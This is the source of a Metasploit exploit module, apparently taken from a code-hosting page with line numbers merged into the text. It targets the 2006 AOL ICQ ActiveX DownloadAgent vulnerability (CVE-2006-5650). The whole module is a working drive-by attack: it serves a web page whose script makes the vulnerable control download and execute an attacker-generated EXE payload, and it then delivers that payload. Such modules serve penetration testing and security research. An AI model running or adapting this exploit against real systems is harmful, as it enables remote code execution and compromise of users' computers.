Path: blob/master/modules/exploits/windows/browser/aol_icq_downloadagent.rb
58066 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpServer::HTML9include Msf::Exploit::EXE1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'America Online ICQ ActiveX Control Arbitrary File Download and Execute',16'Description' => %q{17This module allows remote attackers to download and execute arbitrary files18on a users system via the DownloadAgent function of the ICQPhone.SipxPhoneManager ActiveX control.19},20'License' => MSF_LICENSE,21'Author' => [ 'MC' ],22'References' => [23[ 'CVE', '2006-5650' ],24[ 'OSVDB', '30220' ],25[ 'BID', '20930' ],26[ 'ZDI', '06-037' ],27],28'Payload' => {29'Space' => 2048,30'StackAdjustment' => -3500,31},32'Platform' => 'win',33'Targets' => [34[ 'Automatic', {} ],35],36'DisclosureDate' => '2006-11-06',37'DefaultTarget' => 0,38'Notes' => {39'Reliability' => UNKNOWN_RELIABILITY,40'Stability' => UNKNOWN_STABILITY,41'SideEffects' => UNKNOWN_SIDE_EFFECTS42}43)44)4546register_options(47[48OptString.new('URIPATH', [ true, "The URI to use.", "/" ])49]50)51end5253def autofilter54false55end5657def check_dependencies58use_zlib59end6061def on_request_uri(cli, request)62payload_url = "#{get_uri(cli)}/PAYLOAD"6364if (request.uri.match(/PAYLOAD/))65return if ((p = regenerate_payload(cli)) == nil)6667data = generate_payload_exe({ :code => p.encoded })68print_status("Sending EXE payload")69send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })70return71end7273vname = rand_text_alpha(rand(100) + 1)74exe = rand_text_alpha_upper(rand(5) + 1)7576content = %Q|77<html>78<head>79<script>80try {81var #{vname} = new ActiveXObject('ICQPhone.SipxPhoneManager.1');82#{vname}.DownloadAgent("#{payload_url}/#{exe}.exe");83} catch( e ) { window.location = 'about:blank' ; }84</script>85</head>86</html>87|8889print_status("Sending exploit...")9091send_response_html(cli, content)9293handler(cli)94end95end969798